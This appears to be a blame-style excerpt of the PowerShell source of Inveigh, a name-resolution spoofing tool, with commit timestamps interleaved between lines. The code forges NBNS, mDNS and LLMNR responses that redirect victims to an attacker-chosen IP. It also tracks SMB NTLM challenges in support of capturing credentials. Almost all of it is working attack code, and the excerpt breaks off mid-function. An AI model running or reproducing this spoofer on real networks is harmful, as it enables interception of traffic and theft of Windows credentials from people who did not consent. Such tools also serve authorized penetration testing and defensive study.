2019-01-21 09:49:07 +00:00
if ( $payload_bytes )
{
$NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
}
if ( $NTLM_challenge )
{
$inveigh . SMB_session_table . " $destination_IP ` : $destination_port " = $NTLM_challenge
$NTLM_challenge = $null
}
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
445
2018-07-23 08:55:15 +00:00
{
if ( $SMB -eq 'Y' )
2019-01-21 09:49:07 +00:00
{
if ( $payload_bytes )
{
$NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
}
if ( $NTLM_challenge -and $destination_IP -ne $source_IP )
{
$inveigh . SMB_session_table . " $destination_IP ` : $destination_port " = $NTLM_challenge
$NTLM_challenge = $null
}
2018-07-23 08:55:15 +00:00
}
}
}
}
17
{ # UDP
$source_port = $binary_reader . ReadBytes ( 2 )
2019-01-21 09:49:07 +00:00
$endpoint_source_port = Convert-DataToUInt16 ( $source_port )
$destination_port = Convert-DataToUInt16 $binary_reader . ReadBytes ( 2 )
2018-07-23 08:55:15 +00:00
$UDP_length = $binary_reader . ReadBytes ( 2 )
2019-01-21 09:49:07 +00:00
$UDP_length_uint = Convert-DataToUInt16 ( $UDP_length )
2018-07-23 08:55:15 +00:00
$binary_reader . ReadBytes ( 2 ) > $null
$payload_bytes = $binary_reader . ReadBytes ( ( $UDP_length_uint - 2 ) * 4 )
# Incoming packets
switch ( $destination_port )
{
137 # NBNS
{
if ( ( [ System.BitConverter ] :: ToString ( $payload_bytes [ 4 . .7 ] ) -eq '00-01-00-00' -or [ System.BitConverter ] :: ToString ( $payload_bytes [ 4 . .7 ] ) -eq '00-00-00-01' ) -and [ System.BitConverter ] :: ToString ( $payload_bytes [ 10 . .11 ] ) -ne '00-01' )
{
$UDP_length [ 0 ] + = 12
2019-01-21 09:49:07 +00:00
$NBNS_response_type = " [+] "
2018-07-23 08:55:15 +00:00
$NBNS_response_data = $payload_bytes [ 13 . . $payload_bytes . Length ] +
$NBNS_TTL_bytes +
0x00 , 0x06 , 0x00 , 0x00 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( )
$NBNS_response_packet = 0x00 , 0x89 +
$source_port [ 1 , 0 ] +
$UDP_length [ 1 , 0 ] +
0x00 , 0x00 +
$payload_bytes [ 0 , 1 ] +
0x85 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x20 +
$NBNS_response_data
$NBNS_query_type = [ System.BitConverter ] :: ToString ( $payload_bytes [ 43 . .44 ] )
2019-01-21 09:49:07 +00:00
$NBNS_query_type = Get-NBNSQueryType $NBNS_query_type
2018-07-23 08:55:15 +00:00
$NBNS_query = [ System.BitConverter ] :: ToString ( $payload_bytes [ 13 . . ( $payload_bytes . Length - 4 ) ] )
$NBNS_query = $NBNS_query -replace " -00 " , " "
$NBNS_query = $NBNS_query . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$NBNS_query_string_encoded = New-Object System . String ( $NBNS_query , 0 , $NBNS_query . Length )
$NBNS_query_string_encoded = $NBNS_query_string_encoded . Substring ( 0 , $NBNS_query_string_encoded . IndexOf ( " CA " ) )
2019-01-21 09:49:07 +00:00
$NBNS_query_string_subtracted = $null
$NBNS_query_string = $null
2018-07-23 08:55:15 +00:00
$n = 0
do
{
$NBNS_query_string_sub = ( ( [ Byte][Char ] ( $NBNS_query_string_encoded . Substring ( $n , 1 ) ) ) - 65 )
$NBNS_query_string_subtracted + = ( [ System.Convert ] :: ToString ( $NBNS_query_string_sub , 16 ) )
2019-01-21 09:49:07 +00:00
$n + +
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
until ( $n -ge ( $NBNS_query_string_encoded . Length ) )
2018-07-23 08:55:15 +00:00
$n = 0
do
{
$NBNS_query_string + = ( [ Char ] ( [ System.Convert ] :: ToInt16 ( $NBNS_query_string_subtracted . Substring ( $n , 2 ) , 16 ) ) )
$n + = 2
}
2019-01-21 09:49:07 +00:00
until ( $n -ge ( $NBNS_query_string_subtracted . Length ) -or $NBNS_query_string . Length -eq 15 )
if ( $NBNS_query_string -notmatch '[^\x00-\x7F]+' )
{
if ( ! $inveigh . request_table . ContainsKey ( $NBNS_query_string ) )
{
$inveigh . request_table . Add ( $NBNS_query_string . ToLower ( ) , [ Array ] $source_IP . IPAddressToString )
$inveigh . request_table_updated = $true
}
else
{
$inveigh . request_table . $NBNS_query_string + = $source_IP . IPAddressToString
$inveigh . request_table_updated = $true
}
}
2018-07-23 08:55:15 +00:00
$NBNS_request_ignore = $false
if ( $NBNS -eq 'Y' )
{
if ( $SpooferLearning -eq 'Y' -and $inveigh . valid_host_list -notcontains $NBNS_query_string -and [ System.BitConverter ] :: ToString ( $payload_bytes [ 4 . .7 ] ) -eq '00-01-00-00' -and $source_IP -ne $IP )
{
if ( ( $NBNS_learning_log . Exists ( { param ( $s ) $s -like " 20* $NBNS_query_string " } ) ) )
{
$NBNS_learning_queue_time = [ DateTime ] $NBNS_learning_log . Find ( { param ( $s ) $s -like " 20* $NBNS_query_string " } ) . SubString ( 0 , 19 )
if ( ( Get-Date ) -ge $NBNS_learning_queue_time . AddMinutes ( $SpooferLearningInterval ) )
{
$NBNS_learning_log . RemoveAt ( $NBNS_learning_log . FindIndex ( { param ( $s ) $s -like " 20* $NBNS_query_string " } ) )
$NBNS_learning_send = $true
}
else
{
$NBNS_learning_send = $false
}
}
else
{
$NBNS_learning_send = $true
}
if ( $NBNS_learning_send )
{
$NBNS_transaction_ID = [ String ] ( 1 . .2 | ForEach-Object { " {0:X2} " -f ( Get-Random -Minimum 1 -Maximum 255 ) } )
$NBNS_transaction_ID_bytes = $NBNS_transaction_ID . Split ( " " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$NBNS_transaction_ID = $NBNS_transaction_ID -replace " " , " - "
2019-01-21 09:49:07 +00:00
$NBNS_UDP_client = New-Object System . Net . Sockets . UdpClient 137
2018-07-23 08:55:15 +00:00
$NBNS_hostname_bytes = $payload_bytes [ 13 . . ( $payload_bytes . Length - 5 ) ]
$NBNS_request_packet = $NBNS_transaction_ID_bytes +
0x01 , 0x10 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x20 +
$NBNS_hostname_bytes +
0x00 , 0x20 , 0x00 , 0x01
$NBNS_learning_destination_endpoint = New-Object System . Net . IPEndpoint ( [ IPAddress ] :: broadcast , 137 )
$NBNS_UDP_client . Connect ( $NBNS_learning_destination_endpoint )
$NBNS_UDP_client . Send ( $NBNS_request_packet , $NBNS_request_packet . Length )
$NBNS_UDP_client . Close ( )
2019-01-21 09:49:07 +00:00
$NBNS_learning_log . Add ( " $( Get-Date -format s ) $NBNS_transaction_ID $NBNS_query_string " ) > $null
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] NBNS request $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint . Address . IPAddressToString ) > $null
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( ( $inveigh . valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string ) -and ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string ) -and (
! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string ) -and ( ! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and (
! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and ( $inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP . IPAddressToString ) -and ( $NBNS_query_string . Trim ( ) -ne '*' ) -and (
$SpooferLearning -eq 'N' -or ( $SpooferLearning -eq 'Y' -and ! $SpooferLearningDelay ) -or ( $SpooferLearningDelay -and $spoofer_learning_stopwatch . Elapsed -ge $spoofer_learning_delay ) ) -and ( $source_IP -ne $IP ) -and (
2019-01-21 09:49:07 +00:00
$NBNSTypes -contains $NBNS_query_type ) -and ( $EvadeRG -and $destination_IP . IPAddressToString -ne $IP ) -and ( $SpooferNonprintable -eq 'Y' -or ( $SpooferNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+' ) ) )
2018-07-23 08:55:15 +00:00
{
if ( $SpooferLearning -eq 'N' -or ! $NBNS_learning_log . Exists ( { param ( $s ) $s -like " * " + [ System.BitConverter ] :: ToString ( $payload_bytes [ 0 . .1 ] ) + " * " } ) )
{
$NBNS_send_socket = New-Object Net . Sockets . Socket ( [ System.Net.Sockets.AddressFamily ] :: InterNetwork , [ System.Net.Sockets.SocketType ] :: Raw , [ System.Net.Sockets.ProtocolType ] :: Udp )
$NBNS_send_socket . SendBufferSize = 1024
$NBNS_destination_point = New-Object Net . IPEndpoint ( $source_IP , $endpoint_source_port )
2019-01-21 09:49:07 +00:00
$NBNS_send_socket . SendTo ( $NBNS_response_packet , $NBNS_destination_point ) > $null
2018-07-23 08:55:15 +00:00
$NBNS_send_socket . Close ( )
2019-01-21 09:49:07 +00:00
$NBNS_response_message = " [response sent] "
2018-07-23 08:55:15 +00:00
}
else
{
$NBNS_request_ignore = $true
}
}
else
{
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $source_IP -eq $IP -and $NBNS_learning_log . Exists ( { param ( $s ) $s -like " * " + [ System.BitConverter ] :: ToString ( $payload_bytes [ 0 . .1 ] ) + " * " } ) )
{
$NBNS_request_ignore = $true
}
2019-01-21 09:49:07 +00:00
$NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type " NBNS "
$NBNS_response_type = $NBNS_response_message [ 0 ]
$NBNS_response_message = $NBNS_response_message [ 1 ]
2018-07-23 08:55:15 +00:00
}
}
if ( ! $NBNS_request_ignore -and [ System.BitConverter ] :: ToString ( $payload_bytes [ 4 . .7 ] ) -eq '00-01-00-00' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $NBNS_response_type [ $( Get-Date -format s ) ] NBNS request for $NBNS_query_string < $NBNS_query_type > received from $source_IP $NBNS_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( $SpooferLearning -eq 'Y' -and [ System.BitConverter ] :: ToString ( $payload_bytes [ 4 . .7 ] ) -eq '00-00-00-01' -and $NBNS_learning_log . Exists ( { param ( $s ) $s -like " * " + [ System.BitConverter ] :: ToString ( $payload_bytes [ 0 . .1 ] ) + " * " } ) )
{
[ Byte[] ] $NBNS_response_IP_bytes = $payload_bytes [ ( $payload_bytes . Length - 4 ) . . ( $payload_bytes . Length ) ]
$NBNS_response_IP = [ System.Net.IPAddress ] $NBNS_response_IP_bytes
$NBNS_response_IP = $NBNS_response_IP . IPAddressToString
if ( $inveigh . valid_host_list -notcontains $NBNS_query_string )
{
2019-01-21 09:49:07 +00:00
$inveigh . valid_host_list . Add ( $NBNS_query_string ) > $null
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [added to valid host list] " ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
}
5353 # mDNS
{
if ( [ System.BitConverter ] :: ToString ( $payload_bytes ) -like '*-00-01-80-01' )
{
$UDP_length [ 0 ] + = 10
$mDNS_query_payload_bytes = $payload_bytes [ ( 12 ) . . ( $payload_bytes . Length - 5 ) ]
2019-01-21 09:49:07 +00:00
$mDNS_query_string = Convert-DataToString 1 $mDNS_query_payload_bytes [ 0 ] $mDNS_query_payload_bytes
2018-07-23 08:55:15 +00:00
$mDNS_query_string_full = $mDNS_query_string + " .local "
2019-01-21 09:49:07 +00:00
$mDNS_response_type = " [+] "
2018-07-23 08:55:15 +00:00
$mDNS_response_data = $mDNS_query_payload_bytes +
0x00 , 0x01 , 0x00 , 0x01 +
$mDNS_TTL_bytes +
0x00 , 0x04 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( )
$mDNS_response_packet = 0x14 , 0xe9 +
$source_port [ 1 , 0 ] +
$UDP_length [ 1 , 0 ] +
0x00 , 0x00 +
$payload_bytes [ 0 , 1 ] +
0x84 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 +
$mDNS_response_data
if ( $mDNS -eq 'Y' )
{
if ( ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string ) -and ( ! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string ) -and (
! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and ( ! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and (
$inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP . IPAddressToString ) -and ( $mDNSTypes -contains 'QU' ) )
{
$send_socket = New-Object System . Net . Sockets . Socket ( [ System.Net.Sockets.AddressFamily ] :: InterNetwork , [ System.Net.Sockets.SocketType ] :: Raw , [ System.Net.Sockets.ProtocolType ] :: Udp )
$send_socket . SendBufferSize = 1024
$destination_point = New-Object System . Net . IPEndpoint ( $source_IP , $endpoint_source_port )
2019-01-21 09:49:07 +00:00
$send_socket . SendTo ( $mDNS_response_packet , $destination_point ) > $null
2018-07-23 08:55:15 +00:00
$send_socket . Close ( )
2019-01-21 09:49:07 +00:00
$mDNS_response_message = " [response sent] "
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type " mDNS " -mDNSType " QU "
$mDNS_response_type = $mDNS_response_message [ 0 ]
$mDNS_response_message = $mDNS_response_message [ 1 ]
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $mDNS_response_type [ $( Get-Date -format s ) ] mDNS(QU) request $mDNS_query_string_full received from $source_IP $mDNS_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( [ System.BitConverter ] :: ToString ( $payload_bytes ) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*' )
{
$UDP_length [ 0 ] + = 4
$mDNS_query_payload_bytes = $payload_bytes [ 12 . . ( $payload_bytes [ 12 ] + 12 ) ]
2019-01-21 09:49:07 +00:00
$mDNS_query_string = Convert-DataToString 1 $mDNS_query_payload_bytes [ 0 ] $mDNS_query_payload_bytes
2018-07-23 08:55:15 +00:00
$mDNS_query_string_full = $mDNS_query_string + " .local "
2019-01-21 09:49:07 +00:00
$mDNS_response_type = " [+] "
2018-07-23 08:55:15 +00:00
$mDNS_response_data = $mDNS_query_payload_bytes +
0x05 , 0x6c , 0x6f , 0x63 , 0x61 , 0x6c , 0x00 +
0x00 , 0x01 , 0x80 , 0x01 +
$mDNS_TTL_bytes +
0x00 , 0x04 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( )
$mDNS_response_packet = 0x14 , 0xe9 +
$source_port [ 1 , 0 ] +
$UDP_length [ 1 , 0 ] +
0x00 , 0x00 +
$payload_bytes [ 0 , 1 ] +
0x84 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 +
$mDNS_response_data
if ( $mDNS -eq 'Y' )
{
if ( ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string ) -and ( ! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string ) -and (
! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and ( ! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and (
$inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP . IPAddressToString ) -and ( $mDNSTypes -contains 'QM' ) )
{
2019-01-21 09:49:07 +00:00
$send_socket = New-Object System . Net . Sockets . Socket ( [ System.Net.Sockets.AddressFamily ] :: InterNetwork , [ System.Net.Sockets.SocketType ] :: Raw , [ System.Net.Sockets.ProtocolType ] :: Udp )
2018-07-23 08:55:15 +00:00
$send_socket . SendBufferSize = 1024
$destination_point = New-Object System . Net . IPEndpoint ( [ IPAddress ] " 224.0.0.251 " , 5353 )
2019-01-21 09:49:07 +00:00
$send_socket . SendTo ( $mDNS_response_packet , $destination_point ) > $null
$send_socket . Close ( )
$mDNS_response_message = " [response sent] "
}
else
{
$mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type " mDNS " -mDNSType " QM "
$mDNS_response_type = $mDNS_response_message [ 0 ]
$mDNS_response_message = $mDNS_response_message [ 1 ]
}
2019-01-21 09:47:35 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $mDNS_response_type [ $( Get-Date -format s ) ] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
}
5355 # LLMNR
{
if ( [ System.BitConverter ] :: ToString ( $payload_bytes [ ( $payload_bytes . Length - 4 ) . . ( $payload_bytes . Length - 3 ) ] ) -ne '00-1c' ) # ignore AAAA for now
{
$UDP_length [ 0 ] + = $payload_bytes . Length - 2
$LLMNR_response_data = $payload_bytes [ 12 . . $payload_bytes . Length ]
2019-01-21 09:49:07 +00:00
$LLMNR_response_type = " [+] "
2018-07-23 08:55:15 +00:00
$LLMNR_response_data + = $LLMNR_response_data +
$LLMNR_TTL_bytes +
0x00 , 0x04 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( )
$LLMNR_response_packet = 0x14 , 0xeb +
$source_port [ 1 , 0 ] +
$UDP_length [ 1 , 0 ] +
0x00 , 0x00 +
$payload_bytes [ 0 , 1 ] +
0x80 , 0x00 , 0x00 , 0x01 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 +
$LLMNR_response_data
2019-01-21 09:49:07 +00:00
$LLMNR_query_string = [ System.Text.Encoding ] :: UTF8 . GetString ( $payload_bytes [ 13 . . ( $payload_bytes . Length - 4 ) ] ) -replace " `0 " , " "
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( ! $inveigh . request_table . ContainsKey ( $LLMNR_query_string ) )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . request_table . Add ( $LLMNR_query_string . ToLower ( ) , [ Array ] $source_IP . IPAddressToString )
$inveigh . request_table_updated = $true
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . request_table . $LLMNR_query_string + = $source_IP . IPAddressToString
$inveigh . request_table_updated = $true
2018-07-23 08:55:15 +00:00
}
$LLMNR_request_ignore = $false
if ( $LLMNR -eq 'Y' )
{
if ( $SpooferLearning -eq 'Y' -and $inveigh . valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP )
{
if ( ( $LLMNR_learning_log . Exists ( { param ( $s ) $s -like " 20* $LLMNR_query_string " } ) ) )
{
$LLMNR_learning_queue_time = [ DateTime ] $LLMNR_learning_log . Find ( { param ( $s ) $s -like " 20* $LLMNR_query_string " } ) . SubString ( 0 , 19 )
if ( ( Get-Date ) -ge $LLMNR_learning_queue_time . AddMinutes ( $SpooferLearningInterval ) )
{
$LLMNR_learning_log . RemoveAt ( $LLMNR_learning_log . FindIndex ( { param ( $s ) $s -like " 20* $LLMNR_query_string " } ) )
$LLMNR_learning_send = $true
}
else
{
$LLMNR_learning_send = $false
}
}
else
{
$LLMNR_learning_send = $true
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $LLMNR_learning_send )
{
$LLMNR_transaction_ID = [ String ] ( 1 . .2 | ForEach-Object { " {0:X2} " -f ( Get-Random -Minimum 1 -Maximum 255 ) } )
$LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID . Split ( " " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " " , " - "
$LLMNR_UDP_client = new-Object System . Net . Sockets . UdpClient
$LLMNR_hostname_bytes = $payload_bytes [ 13 . . ( $payload_bytes . Length - 5 ) ]
$LLMNR_request_packet = $LLMNR_transaction_ID_bytes +
0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 +
( $LLMNR_hostname_bytes . Length - 1 ) +
$LLMNR_hostname_bytes +
0x00 , 0x01 , 0x00 , 0x01
$LLMNR_learning_destination_endpoint = New-Object System . Net . IPEndpoint ( [ IPAddress ] " 224.0.0.252 " , 5355 )
$LLMNR_UDP_client . Connect ( $LLMNR_learning_destination_endpoint )
$LLMNR_UDP_client . Send ( $LLMNR_request_packet , $LLMNR_request_packet . Length )
$LLMNR_UDP_client . Close ( )
2019-01-21 09:49:07 +00:00
$LLMNR_learning_log . Add ( " $( Get-Date -format s ) $LLMNR_transaction_ID $LLMNR_query_string " ) > $null
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] LLMNR request $LLMNR_query_string sent to 224.0.0.252 " ) > $null
2018-07-23 08:55:15 +00:00
}
}
if ( ( $inveigh . valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string ) -and ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string ) -and (
! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string ) -and ( ! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and (
! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and ( $inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP . IPAddressToString ) -and (
2019-01-21 09:49:07 +00:00
$SpooferLearning -eq 'N' -or ( $SpooferLearning -eq 'Y' -and ! $SpooferLearningDelay ) -or ( $SpooferLearningDelay -and $spoofer_learning_stopwatch . Elapsed -ge $spoofer_learning_delay ) ) -and (
$EvadeRG -and $destination_IP . IPAddressToString -ne $IP ) -and @ ( $inveigh . request_table . $LLMNR_query_string | Where-Object { $_ -match $source_IP . IPAddressToString } ) . Count -gt $SpooferThresholdHost -and @ (
$inveigh . request_table . $LLMNR_query_string | Sort-Object | Get-Unique ) . Count -gt $SpooferThresholdNetwork -and ( $SpooferNonprintable -eq 'Y' -or ( $SpooferNonprintable -eq 'N' -and $LLMNR_query_string -notmatch '[^\x00-\x7F]+' ) ) )
2018-07-23 08:55:15 +00:00
{
if ( $SpooferLearning -eq 'N' -or ! $LLMNR_learning_log . Exists ( { param ( $s ) $s -like " * " + [ System.BitConverter ] :: ToString ( $payload_bytes [ 0 . .1 ] ) + " * " } ) )
{
2019-01-21 09:49:07 +00:00
$LLMNR_send_socket = New-Object System . Net . Sockets . Socket ( [ System.Net.Sockets.AddressFamily ] :: InterNetwork , [ System.Net.Sockets.SocketType ] :: Raw , [ System.Net.Sockets.ProtocolType ] :: Udp )
2018-07-23 08:55:15 +00:00
$LLMNR_send_socket . SendBufferSize = 1024
$LLMNR_destination_point = New-Object System . Net . IPEndpoint ( $source_IP , $endpoint_source_port )
2019-01-21 09:49:07 +00:00
$LLMNR_send_socket . SendTo ( $LLMNR_response_packet , $LLMNR_destination_point ) > $null
2018-07-23 08:55:15 +00:00
$LLMNR_send_socket . Close ( )
2019-01-21 09:49:07 +00:00
$LLMNR_response_message = " [response sent] "
2018-07-23 08:55:15 +00:00
}
else
{
$LLMNR_request_ignore = $true
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type " LLMNR "
$LLMNR_response_type = $LLMNR_response_message [ 0 ]
$LLMNR_response_message = $LLMNR_response_message [ 1 ]
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( ! $LLMNR_request_ignore )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $LLMNR_response_type [ $( Get-Date -format s ) ] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
}
switch ( $endpoint_source_port )
{
5355 # LLMNR Response
{
if ( $SpooferLearning -eq 'Y' -and $LLMNR_learning_log . Exists ( { param ( $s ) $s -like " * " + [ System.BitConverter ] :: ToString ( $payload_bytes [ 0 . .1 ] ) + " * " } ) )
{
2019-01-21 09:49:07 +00:00
$LLMNR_query_string = [ System.Text.Encoding ] :: UTF8 . GetString ( $payload_bytes [ 13 . . ( $payload_bytes . Length - 4 ) ] ) -replace " `0 " , " "
2018-07-23 08:55:15 +00:00
[ Byte[] ] $LLMNR_response_IP_bytes = $payload_bytes [ ( $payload_bytes . Length - 4 ) . . ( $payload_bytes . Length ) ]
$LLMNR_response_IP = [ System.Net.IPAddress ] $LLMNR_response_IP_bytes
$LLMNR_response_IP = $LLMNR_response_IP . IPAddressToString
if ( $inveigh . valid_host_list -notcontains $LLMNR_query_string )
{
2019-01-21 09:49:07 +00:00
$inveigh . valid_host_list . Add ( $LLMNR_query_string ) > $null
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [added to valid host list] " ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
}
}
}
}
$binary_reader . Close ( )
$memory_stream . Dispose ( )
$memory_stream . Close ( )
}
# Unprivileged LLMNR Spoofer ScriptBlock
$LLMNR_spoofer_scriptblock =
{
param ( $Inspect , $LLMNR_response_message , $SpooferIP , $SpooferHostsReply , $SpooferHostsIgnore , $SpooferIPsReply , $SpooferIPsIgnore , $LLMNRTTL )
$LLMNR_running = $true
$LLMNR_listener_endpoint = New-object System . Net . IPEndPoint ( [ IPAddress ] :: Any , 5355 )
try
{
$LLMNR_UDP_client = New-Object System . Net . Sockets . UdpClient 5355
}
catch
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] Error starting LLMNR spoofer " ) > $null
2018-07-23 08:55:15 +00:00
$LLMNR_running = $false
}
$LLMNR_multicast_group = [ IPAddress ] " 224.0.0.252 "
$LLMNR_UDP_client . JoinMulticastGroup ( $LLMNR_multicast_group )
$LLMNR_UDP_client . Client . ReceiveTimeout = 5000
$LLMNR_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $LLMNRTTL )
[ Array ] :: Reverse ( $LLMNR_TTL_bytes )
while ( $inveigh . running -and $LLMNR_running )
{
try
{
$LLMNR_request_data = $LLMNR_UDP_client . Receive ( [ Ref ] $LLMNR_listener_endpoint )
}
catch
{
$LLMNR_UDP_client . Close ( )
$LLMNR_UDP_client = new-Object System . Net . Sockets . UdpClient 5355
$LLMNR_multicast_group = [ IPAddress ] " 224.0.0.252 "
$LLMNR_UDP_client . JoinMulticastGroup ( $LLMNR_multicast_group )
$LLMNR_UDP_client . Client . ReceiveTimeout = 5000
}
if ( $LLMNR_request_data -and [ System.BitConverter ] :: ToString ( $LLMNR_request_data [ ( $LLMNR_request_data . Length - 4 ) . . ( $LLMNR_request_data . Length - 3 ) ] ) -ne '00-1c' ) # ignore AAAA for now
{
$LLMNR_response_packet = $LLMNR_request_data [ 0 , 1 ] +
0x80 , 0x00 , 0x00 , 0x01 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 +
$LLMNR_request_data [ 12 . . $LLMNR_request_data . Length ] +
$LLMNR_request_data [ 12 . . $LLMNR_request_data . Length ] +
$LLMNR_TTL_bytes +
0x00 , 0x04 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( )
$LLMNR_query_string = [ Text.Encoding ] :: UTF8 . GetString ( $LLMNR_request_data [ 13 . . ( $LLMNR_request_data [ 12 ] + 12 ) ] )
2019-01-21 09:49:07 +00:00
$source_IP = $LLMNR_listener_endpoint . Address
$LLMNR_response_type = " [+] "
if ( ! $inveigh . request_table . ContainsKey ( $LLMNR_query_string ) )
{
$inveigh . request_table . Add ( $LLMNR_query_string . ToLower ( ) , [ Array ] $source_IP . IPAddressToString )
$inveigh . request_table_updated = $true
}
else
{
$inveigh . request_table . $LLMNR_query_string + = $source_IP . IPAddressToString
$inveigh . request_table_updated = $true
}
2018-07-23 08:55:15 +00:00
if ( ! $Inspect -and ( $LLMNR_request_data -and $LLMNR_listener_endpoint . Address . IPAddressToString -ne '0.0.0.0' ) -and ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string ) -and (
! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string ) -and ( ! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and ( ! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and (
2019-01-21 09:49:07 +00:00
$inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP ) -and ( $SpooferNonprintable -eq 'Y' -or ( $SpooferNonprintable -eq 'N' -and $LLMNR_query_string -notmatch '[^\x00-\x7F]+' ) ) )
2018-07-23 08:55:15 +00:00
{
$LLMNR_destination_endpoint = New-Object Net . IPEndpoint ( $LLMNR_listener_endpoint . Address , $LLMNR_listener_endpoint . Port )
$LLMNR_UDP_client . Connect ( $LLMNR_destination_endpoint )
$LLMNR_UDP_client . Send ( $LLMNR_response_packet , $LLMNR_response_packet . Length )
